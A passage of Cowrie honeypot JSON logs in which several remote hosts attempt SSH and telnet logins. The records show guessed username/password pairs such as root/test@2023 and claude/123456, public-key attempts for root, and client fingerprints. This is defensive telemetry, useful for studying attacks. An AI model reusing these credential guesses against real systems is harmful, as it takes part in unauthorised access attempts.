:["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:09.503245Z","src_ip":"170.106.151.211","session":"7abb6b512376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47260,"dst_ip":"159.203.135.109","dst_port":22,"session":"78b680fd560b","protocol":"ssh","message":"New connection: 45.156.87.204:47260 (159.203.135.109:22) [session: 78b680fd560b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:09.576864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:09.582761Z","src_ip":"45.156.87.204","session":"78b680fd560b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:09.665396Z","src_ip":"45.156.87.204","session":"78b680fd560b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2023","message":"login attempt [root/test@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:09.809581Z","src_ip":"170.106.151.211","session":"7abb6b512376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:09.913589Z","src_ip":"45.156.87.204","session":"78b680fd560b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:10.883570Z","src_ip":"170.106.151.211","session":"7abb6b512376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:10.999334Z","src_ip":"45.156.87.204","session":"78b680fd560b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.02771830558777,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:12.287428Z","src_ip":"152.42.224.71","session":"7792ef80e476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57274,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5e3fa52baa5","protocol":"ssh","message":"New connection: 45.156.87.204:57274 (159.203.135.109:22) [session: a5e3fa52baa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:13.206372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:13.229637Z","src_ip":"45.156.87.204","session":"a5e3fa52baa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:13.319936Z","src_ip":"45.156.87.204","session":"a5e3fa52baa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:13.642576Z","src_ip":"45.156.87.204","session":"a5e3fa52baa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:14.727264Z","src_ip":"45.156.87.204","session":"a5e3fa52baa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.30013394355774,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:15.022693Z","src_ip":"152.42.224.71","session":"fc48cc52117e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40658,"dst_ip":"10.17.0.5","dst_port":23,"session":"f86770748caf","protocol":"telnet","message":"New connection: 152.42.224.71:40658 (10.17.0.5:23) [session: f86770748caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:15.209094Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57278,"dst_ip":"159.203.135.109","dst_port":22,"session":"41a79f27ed0f","protocol":"ssh","message":"New connection: 45.156.87.204:57278 (159.203.135.109:22) [session: 41a79f27ed0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:16.611129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:16.616740Z","src_ip":"45.156.87.204","session":"41a79f27ed0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:16.704358Z","src_ip":"45.156.87.204","session":"41a79f27ed0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:16.961586Z","src_ip":"45.156.87.204","session":"41a79f27ed0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46026,"dst_ip":"10.17.0.5","dst_port":23,"session":"b55f3a59f852","protocol":"telnet","message":"New connection: 152.42.224.71:46026 (10.17.0.5:23) [session: b55f3a59f852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:17.442070Z"}
{"eventid":"cowrie.session.closed","duration":102.98542737960815,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:17.960353Z","src_ip":"152.42.224.71","session":"2c5c7806696c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:18.119905Z","src_ip":"45.156.87.204","session":"41a79f27ed0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":42762,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fee5ab5dcd5","protocol":"ssh","message":"New connection: 78.111.67.246:42762 (10.17.0.5:22) [session: 5fee5ab5dcd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.169538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.175032Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.266457Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:a7:2c:2d:20:39:35:a7:33:68:bc:ce:62:2f:aa:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt/dz1CV35ezr0prVrGw4TBDbHtgUoUrCVzw3DMsXVsPSpka1qNZf9hvOMbjHm8Agk4KDA/DJKwsbe16E+t9cTEeyVfZNQWM5OCqKB++DqyIEFmh4xy8VyCS2UdtHs/WtgVmS2WjvhD/nOTiONPvAuec47HQOkKNABsu1zHxxc42NlqEFcO2WHpB8V8am9K23XXl0koXBkGk1U72l162gDLyjQ2vWtp1toq8ALUOS5A6xfIL02IzUaTrAZpJ/xKTM12RGTokj4YQ+4Bhk/4UENlif6tb/w1DbxzoVu/FDg2oYRdAeKShLJO8Kd2zql4qmXkqDTCXDOuFPM5I5M0Tx3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:a7:2c:2d:20:39:35:a7:33:68:bc:ce:62:2f:aa:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.700220Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:a7:2c:2d:20:39:35:a7:33:68:bc:ce:62:2f:aa:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt/dz1CV35ezr0prVrGw4TBDbHtgUoUrCVzw3DMsXVsPSpka1qNZf9hvOMbjHm8Agk4KDA/DJKwsbe16E+t9cTEeyVfZNQWM5OCqKB++DqyIEFmh4xy8VyCS2UdtHs/WtgVmS2WjvhD/nOTiONPvAuec47HQOkKNABsu1zHxxc42NlqEFcO2WHpB8V8am9K23XXl0koXBkGk1U72l162gDLyjQ2vWtp1toq8ALUOS5A6xfIL02IzUaTrAZpJ/xKTM12RGTokj4YQ+4Bhk/4UENlif6tb/w1DbxzoVu/FDg2oYRdAeKShLJO8Kd2zql4qmXkqDTCXDOuFPM5I5M0Tx3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.705349Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:bf:19:cc:38:a7:67:41:aa:1d:58:dd:1d:ed:6b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtgp1+lg5FnunFMVSFcuB4Tiei4+T0ZeXLZTzIrjsd6p0+mUzBCOK4xB38wNE5rJLJtt0ZBURXEc3S2ojZIDfudOAUCwNRIJkcZlLfb51CV0dUOd0b0r6zTx8lK7vlrB9ps5qf39zn0t9sp//3L62kJQqJljGYaENqMGjA+7YIPN0iaRpDqA/vtv5vTxjLwqwyrMFycd81YtjJuxh+l07Ms19SepUSzqT6FnnT3wB31ER7F4fzBqw0ctDYqH/E4Wbg1otMQMFZ1uHI1jFG+Xw0mW0cy+UmxU1Wax93qtaxEJVACo6l3D/vYwVhfTDm1ks4TOm3IlDP721MAcnbIe7Nw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:bf:19:cc:38:a7:67:41:aa:1d:58:dd:1d:ed:6b:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.800240Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:bf:19:cc:38:a7:67:41:aa:1d:58:dd:1d:ed:6b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtgp1+lg5FnunFMVSFcuB4Tiei4+T0ZeXLZTzIrjsd6p0+mUzBCOK4xB38wNE5rJLJtt0ZBURXEc3S2ojZIDfudOAUCwNRIJkcZlLfb51CV0dUOd0b0r6zTx8lK7vlrB9ps5qf39zn0t9sp//3L62kJQqJljGYaENqMGjA+7YIPN0iaRpDqA/vtv5vTxjLwqwyrMFycd81YtjJuxh+l07Ms19SepUSzqT6FnnT3wB31ER7F4fzBqw0ctDYqH/E4Wbg1otMQMFZ1uHI1jFG+Xw0mW0cy+UmxU1Wax93qtaxEJVACo6l3D/vYwVhfTDm1ks4TOm3IlDP721MAcnbIe7Nw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.804635Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:99:6f:b1:99:1f:76:cc:c9:9d:69:07:fc:0d:0a:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtjv1qtWHqY9lt6a39RJ2IhEPgLHTVkOkXuHCwr3MN34o488KiX6w7ilM8AYJrsesYBn04LnCXwZsThtZQNo/pFClwt544fAxkHEt7WS5UL2gzywE1JWH73Qssy2NxbeWbj9Uu2IfGH3rjcxlzHXC7qRvbYUVN8UuaoTvVprb4Vno8f3xwsYv0W+e8161ZOPxTzrn/mMeak4nwWJYKayfX0LfXeV5KtpryE/CCG0BDroYNUDC+Cxdk1ek+A6UamHsub+mG1HA/JbNIQoR6X4NMxywADhI+KhyiigCVUIyFsKSMPzQwM4PtPpnVfqhXdmV5bEA+azIOaLBAvyh+qqa2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:99:6f:b1:99:1f:76:cc:c9:9d:69:07:fc:0d:0a:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.897059Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:99:6f:b1:99:1f:76:cc:c9:9d:69:07:fc:0d:0a:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtjv1qtWHqY9lt6a39RJ2IhEPgLHTVkOkXuHCwr3MN34o488KiX6w7ilM8AYJrsesYBn04LnCXwZsThtZQNo/pFClwt544fAxkHEt7WS5UL2gzywE1JWH73Qssy2NxbeWbj9Uu2IfGH3rjcxlzHXC7qRvbYUVN8UuaoTvVprb4Vno8f3xwsYv0W+e8161ZOPxTzrn/mMeak4nwWJYKayfX0LfXeV5KtpryE/CCG0BDroYNUDC+Cxdk1ek+A6UamHsub+mG1HA/JbNIQoR6X4NMxywADhI+KhyiigCVUIyFsKSMPzQwM4PtPpnVfqhXdmV5bEA+azIOaLBAvyh+qqa2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.901421Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46034,"dst_ip":"10.17.0.5","dst_port":23,"session":"f49dd040c48f","protocol":"telnet","message":"New connection: 152.42.224.71:46034 (10.17.0.5:23) [session: f49dd040c48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.954765Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57294,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aef6724b2be","protocol":"ssh","message":"New connection: 45.156.87.204:57294 (159.203.135.109:22) [session: 2aef6724b2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.980715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.986235Z","src_ip":"45.156.87.204","session":"2aef6724b2be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:e0:b8:cf:a7:eb:63:f7:76:16:b6:e7:c2:94:80:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAnLtxV8vT44PRNpLaec2SMud/RZju3rlqjmXHNAHZEYr22jpLRE4Sc48ckpVx+Q6gG8B9h1C77K+6rFnSO6ZJ+C+HuMZSXxboMegQpVomWubp2jdDf7CYhkZv9f+PgNQx2Y5YmAe113inDJaj41NDxnJOmYFpaJx2EAuxhUszUbp/SSGmv3uZaVa10yLyO8GI4jy6w+hJa+P2FeGY40fvJBXX7W4ZM7Y3Y62O0r64iu2XiJacEE5eVjAVPDg1+6ixLXrj2YuFPHKOeBP+/UTCoIty2+/lBZ3YZDvlJcqM9hEQPJYIa5pGNJ9PKeUrOyPFPj6libTdBtbP7D8ARUWj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:e0:b8:cf:a7:eb:63:f7:76:16:b6:e7:c2:94:80:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.994446Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:e0:b8:cf:a7:eb:63:f7:76:16:b6:e7:c2:94:80:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAnLtxV8vT44PRNpLaec2SMud/RZju3rlqjmXHNAHZEYr22jpLRE4Sc48ckpVx+Q6gG8B9h1C77K+6rFnSO6ZJ+C+HuMZSXxboMegQpVomWubp2jdDf7CYhkZv9f+PgNQx2Y5YmAe113inDJaj41NDxnJOmYFpaJx2EAuxhUszUbp/SSGmv3uZaVa10yLyO8GI4jy6w+hJa+P2FeGY40fvJBXX7W4ZM7Y3Y62O0r64iu2XiJacEE5eVjAVPDg1+6ixLXrj2YuFPHKOeBP+/UTCoIty2+/lBZ3YZDvlJcqM9hEQPJYIa5pGNJ9PKeUrOyPFPj6libTdBtbP7D8ARUWj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:19.998423Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:20.070737Z","src_ip":"45.156.87.204","session":"2aef6724b2be","protocol":"ssh"}
